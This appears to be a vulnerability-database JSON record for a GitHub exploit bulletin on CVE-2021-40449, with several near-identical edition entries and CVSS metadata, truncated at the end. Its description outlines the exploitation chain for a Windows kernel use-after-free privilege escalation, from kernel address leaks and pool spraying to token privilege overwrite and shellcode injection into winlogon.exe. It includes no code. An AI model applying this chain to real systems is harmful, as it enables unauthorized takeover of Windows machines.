"robots.models.githubexploit.GithubExploitBulletin", "_object_types": ["robots.models.githubexploit.GithubExploitBulletin", "robots.models.base.Bulletin"], "privateArea": 1}, {"id": "059CF457-59E4-5647-A0BC-0014C543D6D3", "vendorId": null, "hash": "e0647a9f6ac5778e7b9248e2212bb541", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for ['CVE-2021-40449']", "description": "# CVE-2021-40449\nMy exploit for CVE-2021-40449, a Windows LPE vi...", "published": "2021-10-25T04:58:49", "modified": "2021-11-29T12:46:31", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.6, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "", "reporter": "", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-12-01T17:35:12", "history": [{"bulletin": {"id": "059CF457-59E4-5647-A0BC-0014C543D6D3", "vendorId": "GITHUBEXPL:HAKIVVI-CVE-2021-40449", "hash": "858e7c6c76959affdc59243790ecd155", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for CVE-2021-40449", "description": "# CVE-2021-40449\nMy exploit for CVE-2021-40449, a Windows LPE via a UAF in win32kfull!GreResetDCInternal.\n# short wu\nalong with the UAF vulnerabilty other primitives are being used to make this exploit possible: \n- leaking the exploit's `access token` address in ring0 via `NtQuerySystemInformation()` function with the `SystemHandleInformation` parameter. \n- using `rtlSetAllBits()` as a gadget to overwrite the exploit's `access_token.privileges` with `0xFF`s. \n- leaking `rtlSetAllBits()` address on ring0 by leaking the base address of `ntoskrnl.exe` module via `EnumDeviceDrivers()` function. \n- crafting the gadget's parameter `BitMapHeader` in such a way that will allow us to overwrite the `access_token.privileges` of the exploit. \n- allocating the crafted `BitMapHeader` via `NtSetInformationThread()` primitive and leaking the allocation address in the big pool via `NtQuerySystemInformation()` function with `SystemBigPoolInformation` parameter. \n- to interact with the vulnerable function we first enum printers on the system via `EnumPrinters()` load the driver of one of them one of them then hook the calls to the usermode callback function `DrvEnablePDEV()`. \n- in the hook we proxy the call to the original `DrvEnablePDEV()` function, do the exploit stuff then return whats returned from the proxied call to the GDI.\n- triggering the UAF via a second call to `ResetDC()` in the hooked `DrvEnablePDEV()`. \n- reclaim the freed `PDC` object via spraying a crafted object of the same size using the `CreatePalette()` primitive. \n- abusing the new aquired `SeDebugPrivilege` privilege to get `NT AUTHORITY\\SYSTEM` via injecting shellcode to `winlogon.exe` process. \n \nMore information can be found on this [article](https://securelist.com/mysterysnail-attacks-with-windows-zero-day/) by Kaspersky. \n# PoC\n\n\ntested on Win10 Redstone (build 14393). \n", "published": "2021-10-25T04:58:49", "modified": "2021-10-31T10:07:26", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://github.com/hakivvi/CVE-2021-40449", "reporter": "hakivvi", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-02T13:26:09", "history": [], "viewCount": 2, "enchantments": {}, "objectVersion": "1.6"}, "lastseen": "2021-11-02T13:26:09", "differentElements": ["modified"], "edition": 1}, {"bulletin": {"id": "059CF457-59E4-5647-A0BC-0014C543D6D3", "vendorId": "GITHUBEXPL:HAKIVVI-CVE-2021-40449", "hash": "ad6f0aa7b7a52d50987dbd7cced5f4a1", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for CVE-2021-40449", "description": "# CVE-2021-40449\nMy exploit for CVE-2021-40449, a Windows LPE via a UAF in win32kfull!GreResetDCInternal.\n# short wu\nalong with the UAF vulnerabilty other primitives are being used to make this exploit possible: \n- leaking the exploit's `access token` address in ring0 via `NtQuerySystemInformation()` function with the `SystemHandleInformation` parameter. \n- using `rtlSetAllBits()` as a gadget to overwrite the exploit's `access_token.privileges` with `0xFF`s. \n- leaking `rtlSetAllBits()` address on ring0 by leaking the base address of `ntoskrnl.exe` module via `EnumDeviceDrivers()` function. \n- crafting the gadget's parameter `BitMapHeader` in such a way that will allow us to overwrite the `access_token.privileges` of the exploit. \n- allocating the crafted `BitMapHeader` via `NtSetInformationThread()` primitive and leaking the allocation address in the big pool via `NtQuerySystemInformation()` function with `SystemBigPoolInformation` parameter. \n- to interact with the vulnerable function we first enum printers on the system via `EnumPrinters()` load the driver of one of them one of them then hook the calls to the usermode callback function `DrvEnablePDEV()`. \n- in the hook we proxy the call to the original `DrvEnablePDEV()` function, do the exploit stuff then return whats returned from the proxied call to the GDI.\n- triggering the UAF via a second call to `ResetDC()` in the hooked `DrvEnablePDEV()`. \n- reclaim the freed `PDC` object via spraying a crafted object of the same size using the `CreatePalette()` primitive. \n- abusing the new aquired `SeDebugPrivilege` privilege to get `NT AUTHORITY\\SYSTEM` via injecting shellcode to `winlogon.exe` process. \n \nMore information can be found on this [article](https://securelist.com/mysterysnail-attacks-with-windows-zero-day/) by Kaspersky. \n# PoC\n\n\ntested on Win10 Redstone (build 14393). \n", "published": "2021-10-25T04:58:49", "modified": "2021-11-03T14:44:03", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://github.com/hakivvi/CVE-2021-40449", "reporter": "hakivvi", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-03T16:23:46", "history": [], "viewCount": 5, "enchantments": {}, "objectVersion": "1.6"}, "lastseen": "2021-11-03T16:23:46", "differentElements": ["modified"], "edition": 2}, {"bulletin": {"id": "059CF457-59E4-5647-A0BC-0014C543D6D3", "vendorId": "GITHUBEXPL:HAKIVVI-CVE-2021-40449", "hash": "86e02c86c37178ed218af1fb8d3c34ab", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for CVE-2021-40449", "description": "# CVE-2021-40449\nMy exploit for CVE-2021-40449, a Windows LPE via a UAF in win32kfull!GreResetDCInternal.\n# short wu\nalong with the UAF vulnerabilty other primitives are being used to make this exploit possible: \n- leaking the exploit's `access token` address in ring0 via `NtQuerySystemInformation()` function with the `SystemHandleInformation` parameter. \n- using `rtlSetAllBits()` as a gadget to overwrite the exploit's `access_token.privileges` with `0xFF`s. \n- leaking `rtlSetAllBits()` address on ring0 by leaking the base address of `ntoskrnl.exe` module via `EnumDeviceDrivers()` function. \n- crafting the gadget's parameter `BitMapHeader` in such a way that will allow us to overwrite the `access_token.privileges` of the exploit. \n- allocating the crafted `BitMapHeader` via `NtSetInformationThread()` primitive and leaking the allocation address in the big pool via `NtQuerySystemInformation()` function with `SystemBigPoolInformation` parameter. \n- to interact with the vulnerable function we first enum printers on the system via `EnumPrinters()` load the driver of one of them one of them then hook the calls to the usermode callback function `DrvEnablePDEV()`. \n- in the hook we proxy the call to the original `DrvEnablePDEV()` function, do the exploit stuff then return whats returned from the proxied call to the GDI.\n- triggering the UAF via a second call to `ResetDC()` in the hooked `DrvEnablePDEV()`. \n- reclaim the freed `PDC` object via spraying a crafted object of the same size using the `CreatePalette()` primitive. \n- abusing the new aquired `SeDebugPrivilege` privilege to get `NT AUTHORITY\\SYSTEM` via injecting shellcode to `winlogon.exe` process. \n \nMore information can be found on this [article](https://securelist.com/mysterysnail-attacks-with-windows-zero-day/) by Kaspersky. \n# PoC\n\n\ntested on Win10 Redstone (build 14393). \n", "published": "2021-10-25T04:58:49", "modified": "2021-11-05T06:54:12", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://github.com/hakivvi/CVE-2021-40449", "reporter": "hakivvi", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-05T07:22:32", "history": [], "viewCount": 9, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "githubexploit", "idList": ["B45F7278-2C20-5C06-B834-59D960047852", "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "94F9D54F-CE33-561C-A65A-3C28F00AF2AD"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "threatpost", "idList": ["THREATPOST:8836AC81C1F2D9654424EC1584E50A16", "THREATPOST:500777B41EEA368E3AC2A6AED65C4A25"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006667.NASL"]}, {"type": "kaspersky", "idList": ["KLA12309", "KLA12310"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}], "modified": "2021-11-05T07:22:32", "rev": 2}, "score": {"value": 4.7, "vector": "NONE", "modified": "2021-11-05T07:22:32", "rev": 2}}, "objectVersion": "1.6"}, "lastseen": "2021-11-05T07:22:32", "differentElements": ["title"], "edition": 3}, {"bulletin": {"id": "059CF457-59E4-5647-A0BC-0014C543D6D3", "vendorId": "GITHUBEXPL:HAKIVVI-CVE-2021-40449", "hash": "38dbef52ff78b2ae2b317cb63b62897e", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for Improper Privilege Management in Microsoft", "description": "# CVE-2021-40449\nMy exploit for CVE-2021-40449, a Windows LPE via a UAF in win32kfull!GreResetDCInternal.\n# short wu\nalong with the UAF vulnerabilty other primitives are being used to make this exploit possible: \n- leaking the exploit's `access token` address in ring0 via `NtQuerySystemInformation()` function with the `SystemHandleInformation` parameter. \n- using `rtlSetAllBits()` as a gadget to overwrite the exploit's `access_token.privileges` with `0xFF`s. \n- leaking `rtlSetAllBits()` address on ring0 by leaking the base address of `ntoskrnl.exe` module via `EnumDeviceDrivers()` function. \n- crafting the gadget's parameter `BitMapHeader` in such a way that will allow us to overwrite the `access_token.privileges` of the exploit. \n- allocating the crafted `BitMapHeader` via `NtSetInformationThread()` primitive and leaking the allocation address in the big pool via `NtQuerySystemInformation()` function with `SystemBigPoolInformation` parameter. \n- to interact with the vulnerable function we first enum printers on the system via `EnumPrinters()` load the driver of one of them one of them then hook the calls to the usermode callback function `DrvEnablePDEV()`. \n- in the hook we proxy the call to the original `DrvEnablePDEV()` function, do the exploit stuff then return whats returned from the proxied call to the GDI.\n- triggering the UAF via a second call to `ResetDC()` in the hooked `DrvEnablePDEV()`. \n- reclaim the freed `PDC` object via spraying a crafted object of the same size using the `CreatePalette()` primitive. \n- abusing the new aquired `SeDebugPrivilege` privilege to get `NT AUTHORITY\\SYSTEM` via injecting shellcode to `winlogon.exe` process. \n \nMore information can be found on this [article](https://securelist.com/mysterysnail-attacks-with-windows-zero-day/) by Kaspersky. \n# PoC\n\n\ntested on Win10 Redstone (build 14393). \n", "published": "2021-10-25T04:58:49", "modified": "2021-11-05T06:54:12", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://github.com/hakivvi/CVE-2021-40449", "reporter": "hakivvi", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-08T20:20:24", "history": [], "viewCount": 14, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "githubexploit", "idList": ["B45F7278-2C20-5C06-B834-59D960047852", "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "94F9D54F-CE33-561C-A65A-3C28F00AF2AD"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "zdt", "idList": ["1337DAY-ID-37026"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:164926"]}, {"type": "threatpost", "idList": ["THREATPOST:8836AC81C1F2D9654424EC1584E50A16", "THREATPOST:500777B41EEA368E3AC2A6AED65C4A25"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25", "RAPID7BLOG:7805FE8CEF45482B462D2B4F7A9F7F75"]}, {"type": "cisa", "idList": ["CISA:D12090E3D1C36426271DE8458FFF31E4"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006672.NASL"]}, {"type": "kaspersky", "idList": ["KLA12310", "KLA12309"]}], "modified": "2021-11-08T20:20:24", "rev": 2}, "score": {"value": 4.7, "vector": "NONE", "modified": "2021-11-08T20:20:24", "rev": 2}}, "objectVersion": "1.6"}, "lastseen": "2021-11-08T20:20:24", "differentElements": ["modified"], "edition": 4}, {"bulletin": {"id": "059CF457-59E4-5647-A0BC-0014C543D6D3", "vendorId": "GITHUBEXPL:HAKIVVI-CVE-2021-40449", "hash": "3af1e713e331a4e23578be4cf86dd1b0", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for Improper Privilege Management in Microsoft", "description": "# CVE-2021-40449\nMy exploit for CVE-2021-40449, a Windows LPE via a UAF in win32kfull!GreResetDCInternal.\n# short wu\nalong with the UAF vulnerabilty other primitives are being used to make this exploit possible: \n- leaking the exploit's `access token` address in ring0 via `NtQuerySystemInformation()` function with the `SystemHandleInformation` parameter. \n- using `rtlSetAllBits()` as a gadget to overwrite the exploit's `access_token.privileges` with `0xFF`s. \n- leaking `rtlSetAllBits()` address on ring0 by leaking the base address of `ntoskrnl.exe` module via `EnumDeviceDrivers()` function. \n- crafting the gadget's parameter `BitMapHeader` in such a way that will allow us to overwrite the `access_token.privileges` of the exploit. \n- allocating the crafted `BitMapHeader` via `NtSetInformationThread()` primitive and leaking the allocation address in the big pool via `NtQuerySystemInformation()` function with `SystemBigPoolInformation` parameter. \n- to interact with the vulnerable function we first enum printers on the system via `EnumPrinters()` load the driver of one of them one of them then hook the calls to the usermode callback function `DrvEnablePDEV()`. \n- in the hook we proxy the call to the original `DrvEnablePDEV()` function, do the exploit stuff then return whats returned from the proxied call to the GDI.\n- triggering the UAF via a second call to `ResetDC()` in the hooked `DrvEnablePDEV()`. \n- reclaim the freed `PDC` object via spraying a crafted object of the same size using the `CreatePalette()` primitive. \n- abusing the new aquired `SeDebugPrivilege` privilege to get `NT AUTHORITY\\SYSTEM` via injecting shellcode to `winlogon.exe` process. \n \nMore information can be found on this [article](https://securelist.com/mysterysnail-attacks-with-windows-zero-day/) by Kaspersky. \n# PoC\n\n\ntested on Win10 Redstone (build 14393). \n", "published": "2021-10-25T04:58:49", "modified": "2021-11-24T07:45:44", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://github.com/hakivvi/CVE-2021-40449", "reporter": "hakivvi", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-24T08:41:30", "history": [], "viewCount": 17, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "githubexploit", "idList": ["B45F7278-2C20-5C06-B834-59D960047852", "94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "zdt", "idList": ["1337DAY-ID-37026"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:164926"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "threatpost", "idList": ["THREATPOST:8836AC81C1F2D9654424EC1584E50A16", "THREATPOST:500777B41EEA368E3AC2A6AED65C4A25"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:7805FE8CEF45482B462D2B4F7A9F7F75", "RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}, {"type": "cisa", "idList": ["CISA:D12090E3D1C36426271DE8458FFF31E4"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006675.NASL"]}, {"type": "kaspersky", "idList": ["KLA12309", "KLA12310"]}], "modified": "2021-11-24T08:41:30", "rev": 2}, "score": {"value": 4.7, "vector": "NONE", "modified": "2021-11-24T08:41:30", "rev": 2}}, "objectVersion": "1.6"}, "lastseen": "2021-11-24T08:41:30", "differentElements": ["cvss2", "cvss3"], "edition": 5}, {"bulletin": {"id": "059CF457-59E4-5647-A0BC-0014C543D6D3", "vendorId": "GITHUBEXPL:HAKIVVI-CVE-2021-40449", "hash": "16dc7b494f8e7f0e621eaabbd735ef8a", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for Improper Privilege Management in Microsoft", "description": "# CVE-2021-40449\nMy exploit for CVE-2021-40449, a Windows LPE via a UAF in win32kfull!GreResetDCInternal.\n# short wu\nalong with the UAF vulnerabilty other primitives are being used to make this exploit possible: \n- leaking the exploit's `access token` address in ring0 via `NtQuerySystemInformation()` function with the `SystemHandleInformation` parameter. \n- using `rtlSetAllBits()` as a gadget to overwrite the exploit's `access_token.privileges` with `0xFF`s. \n- leaking `rtlSetAllBits()` address on ring0 by leaking the base address of `ntoskrnl.exe` module via `EnumDeviceDrivers()` function. \n- crafting the gadget's parameter `BitMapHeader` in such a way that will allow us to overwrite the `access_token.privileges` of the exploit. \n- allocating the crafted `BitMapHeader` via `NtSetInformationThread()` primitive and leaking the allocation address in the big pool via `NtQuerySystemInformation()` function with `SystemBigPoolInformation` parameter. \n- to interact with the vulnerable function we first enum printers on the system via `EnumPrinters()` load the driver of one of them one of them then hook the calls to the usermode callback function `DrvEnablePDEV()`. \n- in the hook we proxy the call to the original `DrvEnablePDEV()` function, do the exploit stuff then return whats returned from the proxied call to the GDI.\n- triggering the UAF via a second call to `ResetDC()` in the hooked `DrvEnablePDEV()`. \n- reclaim the freed `PDC` object via spraying a crafted object of the same size using the `CreatePalette()` primitive. \n- abusing the new aquired `SeDebugPrivilege` privilege to get `NT AUTHORITY\\SYSTEM` via injecting shellcode to `winlogon.exe` process. \n \nMore information can be found on this [article](https://securelist.com/mysterysnail-attacks-with-windows-zero-day/) by Kaspersky. \n# PoC\n\n\ntested on Win10 Redstone (build 14393). \n", "published": "2021-10-25T04:58:49", "modified": "2021-11-24T07:45:44", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.6, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://github.com/hakivvi/CVE-2021-40449", "reporter": "hakivvi", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-27T11:34:38", "history": [], "viewCount": 21, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "githubexploit", "idList": ["94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "B45F7278-2C20-5C06-B834-59D960047852", "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:164926"]}, {"type": "zdt", "idList": ["1337DAY-ID-37026"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "threatpost", "idList": ["THREATPOST:8836AC81C1F2D9654424EC1584E50A16", "THREATPOST:500777B41EEA368E3AC2A6AED65C4A25"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:7805FE8CEF45482B462D2B4F7A9F7F75", "RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}, {"type": "cisa", "idList": ["CISA:D12090E3D1C36426271DE8458FFF31E4"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006728.NASL"]}, {"type": "kaspersky", "idList": ["KLA12309", "KLA12310"]}], "modified": "2021-11-27T11:34:38", "rev": 2}, "score": {"value": 4.7, "vector": "NONE", "modified": "2021-11-27T11:34:38", "rev": 2}}, "objectVersion": "1.6"}, "lastseen": "2021-11-27T11:34:38", "differentElements": ["modified"], "edition": 6}, {"bulletin": {"id": "059CF457-59E4-5647-A0BC-0014C543D6D3", "vendorId": "GITHUBEXPL:HAKIVVI-CVE-2021-40449", "hash": "27974dcf20854746ce30ac9052b6cb67", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for Improper Privilege Management in Microsoft", "description": "# CVE-2021-40449\nMy exploit for CVE-2021-40449, a Windows LPE via a UAF in win32kfull!GreResetDCInternal.\n# short wu\nalong with the UAF vulnerabilty other primitives are being used to make this exploit possible: \n- leaking the exploit's `access token` address in ring0 via `NtQuerySystemInformation()` function with the `SystemHandleInformation` parameter. \n- using `rtlSetAllBits()` as a gadget to overwrite the exploit's `access_token.privileges` with `0xFF`s. \n- leaking `rtlSetAllBits()` address on ring0 by leaking the base address of `ntoskrnl.exe` module via `EnumDeviceDrivers()` function. \n- crafting the gadget's parameter `BitMapHeader` in such a way that will allow us to overwrite the `access_token.privileges` of the exploit. \n- allocating the crafted `BitMapHeader` via `NtSetInformationThread()` primitive and leaking the allocation address in the big pool via `NtQuerySystemInformation()` function with `SystemBigPoolInformation` parameter. \n- to interact with the vulnerable function we first enum printers on the system via `EnumPrinters()` load the driver of one of them one of them then hook the calls to the usermode callback function `DrvEnablePDEV()`. \n- in the hook we proxy the call to the original `DrvEnablePDEV()` function, do the exploit stuff then return whats returned from the proxied call to the GDI.\n- triggering the UAF via a second call to `ResetDC()` in the hooked `DrvEnablePDEV()`. \n- reclaim the freed `PDC` object via spraying a crafted object of the same size using the `CreatePalette()` primitive. \n- abusing the new aquired `SeDebugPrivilege` privilege to get `NT AUTHORITY\\SYSTEM` via injecting shellcode to `winlogon.exe` process. \n \nMore information can be found on this [article](https://securelist.com/mysterysnail-attacks-with-windows-zero-day/) by Kaspersky. \n# PoC\n\n\ntested on Win10 Redstone (build 14393). \n", "published": "2021-10-25T04:58:49", "modified": "2021-11-29T12:46:31", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.6, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://github.com/hakivvi/CVE-2021-40449", "reporter": "hakivvi", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": 